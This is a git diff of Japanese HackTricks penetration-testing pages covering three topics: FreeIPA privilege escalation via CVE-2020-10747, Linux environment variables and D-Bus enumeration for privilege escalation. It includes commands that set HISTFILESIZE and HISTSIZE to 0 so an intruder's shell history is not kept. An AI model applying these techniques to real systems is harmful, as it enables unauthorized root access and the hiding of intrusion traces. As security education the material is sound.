詳細な説明は[https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)で確認できます。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
この権限には、環境内のユーザーに影響を与えるさまざまな力が伴います。この権限を使用して、FreeIPAドメイン内に\_root\_という名前の新しいユーザーを**作成できます**。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (158).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ドメイン内にユーザーが作成されたら、\_kinit\_を使用してそのアカウントの**チケットを取得できます**。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (178).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
これで、新しく作成したrootドメインアカウントを使用して**SSH**を試みることができます。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (176).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
示されているように、これによりユーザーはローカルのrootアカウントに**ログインします**！ つまり、ローカルユーザーのドメインユーザーを作成するだけで、_root@WESTEROS.LOCAL_ アカウントを使用して認証し、ローカルのrootアカウントの**ユーザーコンテキストを取得できました**_._
|
||||
|
||||
この脆弱性の詳細については、[_https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b_](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b) をチェックしてください。\\
|
||||
# 参考文献
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
|
||||
* [https://www.youtube.com/watch?v=9dOu-7BTwPQ](https://www.youtube.com/watch?v=9dOu-7BTwPQ)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSのハッキングをゼロからヒーローまで学ぶ</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法：
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を**フォローしてください**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください**。
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,50 +2,42 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか？ **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
- **HackTricksで企業を宣伝したい**か、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
- [**公式PEASS＆HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
- **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## グローバル変数
|
||||
|
||||
グローバル変数は**子プロセス**によって継承されます。
|
||||
グローバル変数は**子プロセス**によって**継承されます**。
|
||||
|
||||
現在のセッションのためにグローバル変数を作成するには、次のようにします：
|
||||
現在のセッションにグローバル変数を作成するには、次のようにします：
|
||||
```bash
|
||||
export MYGLOBAL="hello world"
|
||||
echo $MYGLOBAL #Prints: hello world
|
||||
```
|
||||
この変数は現在のセッションとその子プロセスからアクセスできます。
|
||||
この変数は、現在のセッションおよびその子プロセスからアクセスできます。
|
||||
|
||||
変数を**削除**するには、次のようにします：
|
||||
次のようにして変数を**削除**できます：
|
||||
```bash
|
||||
unset MYGLOBAL
|
||||
```
|
||||
## ローカル変数
|
||||
|
||||
**ローカル変数**は、**現在のシェル/スクリプト**からのみ**アクセス**できます。
|
||||
**ローカル変数** は **現在のシェル/スクリプト** からのみ **アクセス** できます。
|
||||
```bash
|
||||
LOCAL="my local"
|
||||
echo $LOCAL
|
||||
unset LOCAL
|
||||
```
|
||||
## 現在の変数のリスト
|
||||
|
||||
To list the current environment variables in Linux, you can use the `printenv` command. This command will display all the variables and their values.
|
||||
|
||||
Linuxで現在の環境変数をリストするには、`printenv`コマンドを使用します。このコマンドは、すべての変数とその値を表示します。
|
||||
|
||||
```bash
|
||||
$ printenv
|
||||
```
|
||||
|
||||
This will output a list of all the environment variables currently set on your system.
|
||||
```bash
|
||||
set
|
||||
env
|
||||
|
|
@ -57,8 +49,8 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
|
|||
|
||||
#### **すべてのユーザーの動作に影響を与えるファイル:**
|
||||
|
||||
* _**/etc/bash.bashrc**_: このファイルはインタラクティブシェル（通常のターミナル）が起動されるたびに読み込まれ、ここに指定されたすべてのコマンドが実行されます。
|
||||
* _**/etc/profile および /etc/profile.d/\***_**:** このファイルはユーザーがログインするたびに読み込まれます。したがって、ここで実行されるすべてのコマンドは、ユーザーがログインする時点で一度だけ実行されます。
|
||||
* _**/etc/bash.bashrc**_: このファイルは対話型シェル（通常のターミナル）が起動されるたびに読み込まれ、ここに指定されたすべてのコマンドが実行されます。
|
||||
* _**/etc/profile および /etc/profile.d/\***_**:** このファイルはユーザーがログインするたびに読み込まれます。したがって、ここで実行されるすべてのコマンドはユーザーのログイン時に1度だけ実行されます。
|
||||
* \*\*例: \*\*
|
||||
|
||||
`/etc/profile.d/somescript.sh`
|
||||
|
|
@ -69,52 +61,45 @@ TEST=$(cat /var/somefile)
|
|||
export $TEST
|
||||
```
|
||||
|
||||
#### **特定のユーザーの動作に影響を与えるファイル:**
|
||||
|
||||
* _**\~/.bashrc**_: このファイルは _/etc/bash.bashrc_ ファイルと同じように動作しますが、特定のユーザーのみに対して実行されます。自分自身の環境を作成したい場合は、このファイルをホームディレクトリに変更または作成してください。
|
||||
* _**\~/.profile, \~/.bash\_profile, \~/.bash\_login**_**:** これらのファイルは _/etc/profile_ と同じです。違いは実行方法です。このファイルは、このファイルが存在するユーザーがログインしたときにのみ実行されます。
|
||||
|
||||
**抜粋元:** [**こちら**](https://codeburst.io/linux-environment-variables-53cea0245dc9) **および** [**こちら**](https://www.gnu.org/software/bash/manual/html\_node/Bash-Startup-Files.html)
|
||||
|
||||
## 一般的な変数
|
||||
|
||||
From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
|
||||
* **DISPLAY** – **X** で使用されるディスプレイ。この変数は通常 **:0.0** に設定されます。これは現在のコンピュータ上の最初のディスプレイを意味します。
|
||||
* **EDITOR** – ユーザーの優先するテキストエディター。
|
||||
* **HISTFILESIZE** – 履歴ファイルに含まれる行数の最大値。
|
||||
* \*\*HISTSIZE - \*\*ユーザーがセッションを終了するときに履歴ファイルに追加される行数
|
||||
* **DISPLAY** – **X** が使用するディスプレイ。通常、この変数は **:0.0** に設定されます。これは現在のコンピューター上の最初のディスプレイを意味します。
|
||||
* **EDITOR** – ユーザーの選択したテキストエディター。
|
||||
* **HISTFILESIZE** – 履歴ファイルに含まれる最大行数。
|
||||
* **HISTSIZE** – ユーザーがセッションを終了するときに履歴ファイルに追加される行数。
|
||||
* **HOME** – ホームディレクトリ。
|
||||
* **HOSTNAME** – コンピュータのホスト名。
|
||||
* **HOSTNAME** – コンピューターのホスト名。
|
||||
* **LANG** – 現在の言語。
|
||||
* **MAIL** – ユーザーのメールスプールの場所。通常は **/var/spool/mail/USER** です。
|
||||
* **MANPATH** – マニュアルページを検索するディレクトリのリスト。
|
||||
* **OSTYPE** – オペレーティングシステムのタイプ。
|
||||
* **PS1** – bash のデフォルトプロンプト。
|
||||
* \*\*PATH - \*\*実行したいバイナリファイルが格納されているディレクトリのパスを保持します。ファイル名を指定するだけで相対パスや絶対パスを指定せずに実行できます。
|
||||
* **PATH** – 実行したいバイナリファイルを保持するすべてのディレクトリのパス。ファイル名を指定するだけで相対パスまたは絶対パスを指定せずに実行できます。
|
||||
* **PWD** – 現在の作業ディレクトリ。
|
||||
* **SHELL** – 現在のコマンドシェルへのパス（例: **/bin/bash**）。
|
||||
* **TERM** – 現在の端末のタイプ（例: **xterm**）。
|
||||
* **TZ** – 自分のタイムゾーン。
|
||||
* **SHELL** – 現在のコマンドシェルへのパス（たとえば、**/bin/bash**）。
|
||||
* **TERM** – 現在の端末タイプ（たとえば、**xterm**）。
|
||||
* **TZ** – 時間帯。
|
||||
* **USER** – 現在のユーザー名。
|
||||
|
||||
## ハッキングに関連する興味深い変数
|
||||
## ハッキングに興味深い変数
|
||||
|
||||
### **HISTFILESIZE**
|
||||
|
||||
この変数の値を0に変更すると、セッションを終了するときに履歴ファイル（\~/.bash\_history）が削除されます。
|
||||
この変数の **値を 0 に変更** して、セッションを **終了** するときに **履歴ファイル**（\~/.bash\_history）が **削除される** ようにします。
|
||||
```bash
|
||||
export HISTFILESIZE=0
|
||||
```
|
||||
### **HISTSIZE**
|
||||
|
||||
この変数の値を0に変更してください。これにより、セッションを終了するときにはどのコマンドも履歴ファイル（\~/.bash\_history）に追加されません。
|
||||
この変数の値を0に変更してください。これにより、セッションを終了するときには、どのコマンドも履歴ファイル（\~/.bash\_history）に追加されません。
|
||||
```bash
|
||||
export HISTSIZE=0
|
||||
```
|
||||
### http\_proxy & https\_proxy
|
||||
|
||||
プロセスはここで宣言された**プロキシ**を使用して、**httpまたはhttps**を介してインターネットに接続します。
|
||||
プロセスは、ここで宣言された **プロキシ** を使用して、**httpまたはhttps** を介してインターネットに接続します。
|
||||
```bash
|
||||
export http_proxy="http://10.10.10.10:8080"
|
||||
export https_proxy="http://10.10.10.10:8080"
|
||||
|
|
@ -128,34 +113,22 @@ export SSL_CERT_DIR=/path/to/ca-certificates
|
|||
```
|
||||
### PS1
|
||||
|
||||
プロンプトの表示方法を変更します。
|
||||
プロンプトの表示を変更します。
|
||||
|
||||
[**こちら**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)を作成しました（別のものを基にしています、コードを読んでください）。
|
||||
[**これは例です**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
|
||||
|
||||
ルートユーザー：
|
||||
Root:
|
||||
|
||||
.png>)
|
||||
|
||||
通常のユーザー：
|
||||
通常のユーザー:
|
||||
|
||||
.png>)
|
||||
|
||||
バックグラウンドで実行されているジョブが1つ、2つ、3つある場合：
|
||||
バックグラウンドで実行中のジョブが1つ、2つ、3つ:
|
||||
|
||||
.png>)
|
||||
|
||||
バックグラウンドで実行されているジョブが1つあり、1つが停止しており、最後のコマンドが正常に終了していない場合：
|
||||
バックグラウンドで実行中のジョブが1つ、停止中のジョブが1つ、最後のコマンドが正常に終了しなかった場合:
|
||||
|
||||
.png>)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか？ **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,60 +1,49 @@
|
|||
# D-Bus列挙とコマンドインジェクション特権昇格
|
||||
# D-Bus列挙およびコマンドインジェクション特権昇格
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>**htARTE（HackTricks AWS Red Team Expert）**で**ゼロからヒーローまでのAWSハッキング**を学びましょう！</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか？ **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
- [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
|
||||
- **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
|
||||
</details>
|
||||
|
||||
## **GUI列挙**
|
||||
|
||||
**(この列挙情報は** [**https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/**](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)**から取得されました)**
|
||||
Ubuntuデスクトップ環境では、D-Busがプロセス間通信（IPC）の仲介者として使用されています。Ubuntuでは、複数のメッセージバスが同時に動作しており、システムバスは**特権のあるサービスがシステム全体で利用するサービスを公開する**ために主に使用され、ログインしているユーザーごとにセッションバスがあり、その特定のユーザーにのみ関連するサービスを公開します。ここでは、特権昇格を目的としているため、特権の高い権限（たとえば、root）で実行されているサービスに関連するシステムバスに焦点を当てています。D-Busのアーキテクチャでは、セッションバスごとに「ルーター」が使用され、クライアントメッセージをクライアントが通信したいサービスに基づいて適切なサービスにリダイレクトする責任があります。
|
||||
|
||||
Ubuntuデスクトップは、D-Busをそのプロセス間通信（IPC）メディエーターとして使用しています。Ubuntuでは、複数のメッセージバスが同時に実行されます。システムバスは、主に**特権のあるサービスがシステム全体に関連するサービスを公開するために使用**され、ログインしている各ユーザーごとに1つのセッションバスがあり、その特定のユーザーに関連するサービスを公開します。特権昇格を試みるため、特権が高い（つまり、root）で実行されることが多いシステムバスに主に焦点を当てます。D-Busアーキテクチャでは、セッションバスごとに1つの「ルーター」が使用され、クライアントメッセージを該当するサービスにリダイレクトします。クライアントは、メッセージを送信したいサービスのアドレスを指定する必要があります。
|
||||
D-Bus上のサービスは、公開されている**オブジェクト**と**インターフェース**によって定義されます。オブジェクトは、標準のOOP言語のクラスインスタンスに似ており、各インスタンスは**オブジェクトパス**によって一意に識別されます。このパスは、ファイルシステムパスに似ており、サービスによって公開されている各オブジェクトを一意に識別します。研究目的で重要なインターフェースは、**org.freedesktop.DBus.Introspectable**インターフェースで、Introspectという単一のメソッドを備えています。このメソッドは、オブジェクトがサポートするメソッド、シグナル、およびプロパティのXML表現を返しますが、ここではプロパティとシグナルを省略してメソッドに焦点を当てています。
|
||||
|
||||
各サービスは、公開する**オブジェクト**と**インターフェース**によって定義されます。オブジェクトは、標準のOOP言語のクラスのインスタンスと考えることができます。各ユニークなインスタンスは、オブジェクトが公開する各オブジェクトを一意に識別するファイルシステムパスに似た文字列で識別されます。私たちの調査に役立つ標準のインターフェースは、**org.freedesktop.DBus.Introspectable**インターフェースです。これには、オブジェクトがサポートするメソッド、シグナル、およびプロパティのXML表現を返す単一のメソッド、Introspectが含まれています。このブログ投稿では、メソッドに焦点を当て、プロパティとシグナルは無視します。
|
||||
|
||||
D-Busインターフェースとの通信には、2つのツールを使用しました。スクリプトでD-Busが公開するメソッドを簡単に呼び出すことができるCLIツールである**gdbus**と、利用可能なサービスを列挙し、各サービスが含むオブジェクトを表示するためのPythonベースのGUIツールである[**D-Feet**](https://wiki.gnome.org/Apps/DFeet)です。
|
||||
D-Busインターフェースとの通信には、2つのツールが使用されました。スクリプトでD-Busによって公開されたメソッドを簡単に呼び出すためのCLIツールである**gdbus**と、PythonベースのGUIツールである[**D-Feet**](https://wiki.gnome.org/Apps/DFeet)です。
|
||||
```bash
|
||||
sudo apt-get install d-feet
|
||||
```
|
||||
|
||||
|
||||
|
||||
_図1. D-Feetメインウィンドウ_
|
||||
|
||||
|
||||
|
||||
|
||||
_図2. D-Feetインターフェースウィンドウ_
|
||||
最初の画像では、D-Busシステムバスに登録されたサービスが表示され、**org.debin.apt**がSystem Busボタンを選択した後に特に強調されています。D-Feetはこのサービスに対してオブジェクトをクエリし、選択したオブジェクトのインターフェース、メソッド、プロパティ、およびシグナルを表示します。これは2番目の画像で見られます。各メソッドのシグネチャも詳細に表示されます。
|
||||
|
||||
図1の左側のペインには、D-Busデーモンシステムバスに登録されたさまざまなサービスが表示されます（上部のSystem Busボタンに注意してください）。私は**org.debin.apt**サービスを選択し、D-Feetは自動的に**利用可能なオブジェクトのサービスにクエリを送信**しました。特定のオブジェクトを選択すると、図2に示すように、すべてのインターフェースとそれぞれのメソッド、プロパティ、シグナルがリストされます。また、各**IPC公開メソッドのシグネチャ**も取得できます。
|
||||
注目すべき特徴として、サービスの**プロセスID（pid）**と**コマンドライン**が表示され、サービスが昇格された権限で実行されているかどうかを確認するのに役立ち、研究の関連性に重要です。
|
||||
|
||||
また、各サービスをホストするプロセスの**PID**と**コマンドライン**も表示されます。これは非常に便利な機能であり、調査対象のサービスが実際に高い特権で実行されていることを検証できます。システムバス上の一部のサービスはrootとして実行されないため、研究対象としてはあまり興味深くありません。
|
||||
**D-Feetはまたメソッドの呼び出しを許可**します：ユーザーはPython式をパラメーターとして入力でき、D-FeetはこれをD-Busタイプに変換してからサービスに渡します。
|
||||
|
||||
D-Feetでは、さまざまなメソッドを呼び出すこともできます。メソッドの入力画面では、呼び出される関数のパラメータとして解釈されるPython式のリストをカンマで区切って指定できます（図3参照）。Pythonの型はD-Busの型にマーシャリングされ、サービスに渡されます。
|
||||
ただし、**一部のメソッドは認証が必要**で、これらのメソッドを呼び出す前に認証が必要です。私たちの目標は、まず資格情報なしで特権を昇格させることなので、これらのメソッドは無視します。
|
||||
|
||||
|
||||
また、一部のサービスが、特定のアクションを実行してもよいかどうかをユーザーに許可するかどうかを判断するために、別のD-Busサービスであるorg.freedeskto.PolicyKit1をクエリすることに注意してください。
|
||||
|
||||
_図3. D-Feetを介したD-Busメソッドの呼び出し_
|
||||
|
||||
一部のメソッドは、呼び出し前に認証が必要です。私たちの目標は、まずは資格情報なしで特権を昇格させることなので、これらのメソッドは無視します。
|
||||
|
||||
|
||||
|
||||
_図4. 認証が必要なメソッド_
|
||||
|
||||
また、一部のサービスは、ユーザーが特定のアクションを実行することが許可されるかどうかを判断するために、org.freedeskto.PolicyKit1という別のD-Busサービスにクエリを送信します。
|
||||
|
||||
## **コマンドラインの列挙**
|
||||
## **Cmd line列挙**
|
||||
|
||||
### サービスオブジェクトのリスト
|
||||
|
||||
次のコマンドを使用して、開かれたD-Busインターフェースをリストアップすることができます：
|
||||
D-Busインターフェースを開いたリストを次のように表示することができます：
|
||||
```bash
|
||||
busctl list #List D-Bus interfaces
|
||||
|
||||
|
|
@ -80,11 +69,11 @@ org.freedesktop.locale1 - - - (act
|
|||
```
|
||||
#### 接続
|
||||
|
||||
プロセスがバスに接続を設定すると、バスはその接続に対して _ユニークな接続名_ と呼ばれる特別なバス名を割り当てます。このタイプのバス名は不変です - 接続が存在する限り変更されないことが保証されており、さらに重要なことに、バスの寿命中に再利用されることはありません。つまり、同じプロセスがバスへの接続を閉じて新しい接続を作成しても、他の接続にはそのようなユニークな接続名が割り当てられることはありません。ユニークな接続名は、それ以外は禁止されているコロン文字で始まるため、簡単に認識できます。
|
||||
[ウィキペディアより:](https://en.wikipedia.org/wiki/D-Bus) プロセスがバスに接続を設定すると、バスはその接続に _ユニーク接続名_ と呼ばれる特別なバス名を割り当てます。このタイプのバス名は不変です — 接続が存在する限り変更されないことが保証されており、さらに重要なことに、バスの寿命中に再利用されることはありません。つまり、同じプロセスがバスへの接続を閉じて新しい接続を作成しても、そのようなユニーク接続名が割り当てられることはありません。ユニーク接続名は、それらが—通常禁止されている—コロン文字で始まるため、簡単に認識できます。
|
||||
|
||||
### サービスオブジェクト情報
|
||||
|
||||
次に、次のコマンドでインターフェースに関する情報を取得できます：
|
||||
次に、インターフェイスに関するいくつかの情報を取得できます:
|
||||
```bash
|
||||
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface
|
||||
|
||||
|
|
@ -144,9 +133,9 @@ cap_mknod cap_lease cap_audit_write cap_audit_control
|
|||
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
||||
cap_wake_alarm cap_block_suspend cap_audit_read
|
||||
```
|
||||
### サービスオブジェクトのインターフェースのリスト
|
||||
### サービスオブジェクトのインターフェースをリストアップします
|
||||
|
||||
十分な権限を持っている必要があります。
|
||||
十分な権限が必要です。
|
||||
```bash
|
||||
busctl tree htb.oouch.Block #Get Interfaces of the service object
|
||||
|
||||
|
|
@ -154,9 +143,9 @@ busctl tree htb.oouch.Block #Get Interfaces of the service object
|
|||
└─/htb/oouch
|
||||
└─/htb/oouch/Block
|
||||
```
|
||||
### サービスオブジェクトのIntrospectインターフェース
|
||||
### サービスオブジェクトのインターフェースを調査する
|
||||
|
||||
この例では、`tree`パラメータを使用して最新のインターフェースが選択されました（_前のセクションを参照_）。
|
||||
この例では、`tree`パラメータを使用して最新のインターフェースが選択されたことに注意してください（_前のセクションを参照_）。
|
||||
```bash
|
||||
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
|
||||
|
||||
|
|
@ -176,21 +165,21 @@ org.freedesktop.DBus.Properties interface - - -
|
|||
```
|
||||
### モニター/キャプチャーインターフェース
|
||||
|
||||
十分な特権を持っている場合（`send_destination`と`receive_sender`の特権だけでは不十分です）、D-Busの通信を**モニター**することができます。
|
||||
十分な権限があれば（`send_destination` と `receive_sender` 権限だけでは不十分）、**D-Bus通信を監視**することができます。
|
||||
|
||||
通信を**モニター**するには、**root**である必要があります。rootであっても問題が発生する場合は、[https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/)と[https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)を確認してください。
|
||||
**通信を監視**するには、**root**である必要があります。まだrootであることに問題がある場合は、[https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) と [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) を確認してください。
|
||||
|
||||
{% hint style="warning" %}
|
||||
D-Busの設定ファイルを構成して、**非rootユーザーが通信をスニッフできるようにする方法**を知っている場合は、**お問い合わせください**！
|
||||
D-Bus構成ファイルを構成して**非rootユーザーが通信をスニッフィング**できるようにする方法をご存知の場合は、**お知らせください**！
|
||||
{% endhint %}
|
||||
|
||||
モニターするための異なる方法：
|
||||
監視するための異なる方法：
|
||||
```bash
|
||||
sudo busctl monitor htb.oouch.Block #Monitor only specified
|
||||
